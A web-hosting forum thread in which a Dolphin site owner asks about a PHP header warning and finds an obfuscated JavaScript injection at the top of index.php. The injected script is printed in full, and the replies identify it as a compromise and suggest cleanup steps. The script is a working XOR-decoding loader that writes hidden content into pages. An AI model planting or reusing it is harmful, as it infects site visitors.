Warning: Cannot modify header information Error Message

I hope someone can help me on this.  My website is a fresh install of Dolphin on a freshly created server.  The site has only been on-line for about 48 hours at most.  Everything was fine until I went to my site a couple of hours ago and noticed the following error message:-

Warning: Cannot modify header information – headers already sent by (output started at /home/believe1/public_html/index.php:1) in /home/believe1/public_html/inc/design.inc.php on line 133

This seems strange as I have not touched either of these files, yet the error message suddenly appeared.  Anyway, I had a look at design.inc.php and could not see any problems, however when I checked on the index.php file, I saw this at the top of the file:-

<script language='javascript'>var IXuHeJMxXQgSRZDsIPIePe='';lLoMQfARWMPKgNMTYSYzpOZ='OlGCbJIxqRHGkNdliNw';var pROjkkdxtaPw='bOkdaGWdFnwSyKwUfHOekNylpmfcxNOu';XRvfsJkeHBsnEJLLIqHY='eblXSTBJSC';var ufSXopXmwLfBWl=0;gMOBaMJzJMzmEGjqOYEyKuJWe='lBhtQGyUWnxAIe';var HcMfOKCgseOtlANujLWVHi='%73%02%02%13%26%3A%01%66%1D%05%30%44%69%1F%21%12%38%75%4A%44%2D%1C%1E%11%1E%15%06%0A%60%26%1B%4D%26%05%4A%02%20%3E%5B%22%0B%11%32%0C%27%03%77%46%2E%3D%04%06%2B%1B%03%02%09%03%11%45%6C%7F%57%42%3C%08%16%0E%2B%3B%0D%28%09%4A%71%17%24%55%75%0E%2D%26%02%03%3A%44%4E%41%4F%46%14%11%2A%3B%1D%5F%6D%5A%46%41%2F%24%14%27%0D%12%6E%5B%7A%55%75%10%3B%3F%04%08%2B%44%4E%41%4F%46%0E%19%3C%28%1C%0C%38%02%64%15%2F%6A%46%76%4C%57%3E%18%39%10%3C%08%20%2A%0C%0C%26%0D%51%52%5D%44%5D%44%61%26%13%10%2E%06%01%5F';KBOlel='jyyWrnepAbuaMs';var CyKQQhnyoubdqIr=HcMfOKCgseOtlANujLWVHi.length/3;CioCYHsPjSLoXLSRkJbqxO='wflGgPmuah';HcMfOKCgseOtlANujLWVHi=unescape(HcMfOKCgseOtlANujLWVHi);mNLdEpCCdhE='eAKfvFZxlbbdVR';for(TnYERMyvnwdNmLPcIrPd=0;TnYERMyvnwdNmLPcIrPd<CyKQQhnyoubdqIr;TnYERMyvnwdNmLPcIrPd++){ufSXopXmwLfBWl++;if(pROjkkdxtaPw.length<=ufSXopXmwLfBWl) ufSXopXmwLfBWl=0;oQFNMLQV=HcMfOKCgseOtlANujLWVHi.charCodeAt(TnYERMyvnwdNmLPcIrPd); UETfbreoUPqAkoMZWRAiBhOR='pTHgesBVTsBPp'; if(pROjkkdxtaPw.charCodeAt(ufSXopXmwLfBWl)!=oQFNMLQV) oQFNMLQV^=pROjkkdxtaPw.charCodeAt(ufSXopXmwLfBWl); eNUKvfUhpjJmGiRydFXvF='GZPtyHCKFvUfSVYAwMW';IXuHeJMxXQgSRZDsIPIePe+=String.fromCharCode(oQFNMLQV);} AEReHL='Igkysn';document.write(IXuHeJMxXQgSRZDsIPIePe);pCscxfXmpYZNHzBVfTSMg='vJzeqGEJbTxt';</script>

Does anyone know what this is?  I had the same problem when I created a Joomla site last week.  Everything was fine, and then suddenly a long message like the one above appeared in the index file.

My host company has checked for viruses / malware and hackers and could not find anything.  The problem is, if I delete the line of code, my site messes up, yet if I leave it in the file, i get the error messages and my site still messes up.

I am stuck, please help

Kind regards

just edit index.php and remove the white space after ?>.

clear the cache.

When you remove that you must make sure there is no white space before the opening php tag <?php

or at the end of the file after the closing php tag. ?>

Better yet, re-upload the original index.php

You said you had a joomla site this also happened to.


Your site is getting hacked. And if your host says they can't find anything then either they are a bad host and it's time to switch, or your own home computer is the fault. Scan your home computer with malwarebytes. http://www.malwarebytes.org/ the free version.

Change your FTP passwords.

If you have had others work on this site then they could be the cause as well. All computers accessing the site via ftp should be scanned.

Hi.  Thanks for the reply.

I followed your advice but the problem is still there.  Is there anything else I could try please?

Kind regards

Thank you deano, I will follow your advice.

I will let you know the outcome.

There may be more than one file involved.

Make sure you restore the origional index.php file

Then fully clear the dolphin cache folder. Empty the contents of the cache folder via FTP or cpanals file manager. Leave the .htaccess file in the folder.

than follow deano advise and replace index.php and design.inc.php with original files 

Normally when this happens it happens to LOTS of files on the server. I noticed you said this was a fresh install so the most easy solution would be to delete the whole thing and start over AFTER you change your passwords, run malwarebytes and check Cpanel for extra FTP accounts.

Is this shared hosting or a VPS/dedicated? If it's happened to two sites you need to find the security hole before you install anything else.

I think I have the same problem now.

Could this /tmp/shindig file has something to do with it cos I don't get it removed

 yes  all index.php  and index.html files get infected.  Delete all and start over. also check your computer might be infected with a virus than that would happen when you connect to your site via ftp.